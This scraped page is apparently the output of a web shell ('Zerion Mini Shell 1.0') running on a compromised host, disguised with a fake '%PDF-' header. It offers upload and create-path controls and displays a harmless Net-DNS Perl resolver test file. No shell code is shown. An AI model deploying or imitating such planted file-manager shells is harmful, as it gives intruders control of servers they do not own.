%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535425.21555/Net-DNS-1.19/t/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535425.21555/Net-DNS-1.19/t/01-resolver-env.t

# $Id: 01-resolver-env.t 1709 2018-09-07 08:03:09Z willem $  -*-perl-*-

use strict;
use Test::More tests => 10;

use Net::DNS::Resolver;

local $ENV{'RES_NAMESERVERS'} = '10.0.3.128 10.0.4.128';
local $ENV{'RES_SEARCHLIST'}  = 'net-dns.org lib.net-dns.org';
local $ENV{'LOCALDOMAIN'}     = 'net-dns.org';
local $ENV{'RES_OPTIONS'}     = 'retrans:3 retry:2 debug bogus';


my $res = Net::DNS::Resolver->new;
ok( $res->isa('Net::DNS::Resolver'), 'new() created object' );

is( $res->domain, 'net-dns.org', 'domain works' );

my @search = $res->searchlist;
is( $search[0], 'net-dns.org',	   'searchlist correct' );
is( $search[1], 'lib.net-dns.org', 'searchlist correct' );

my @servers = $res->nameservers;
ok( scalar(@servers), "nameservers() works" );
is( $servers[0], '10.0.3.128', 'nameservers list correct' );
is( $servers[1], '10.0.4.128', 'nameservers list correct' );

is( $res->retrans, 3, 'retrans works' );
is( $res->retry,   2, 'retry works' );
is( $res->debug,   1, 'debug() works' );


exit;

Zerion Mini Shell 1.0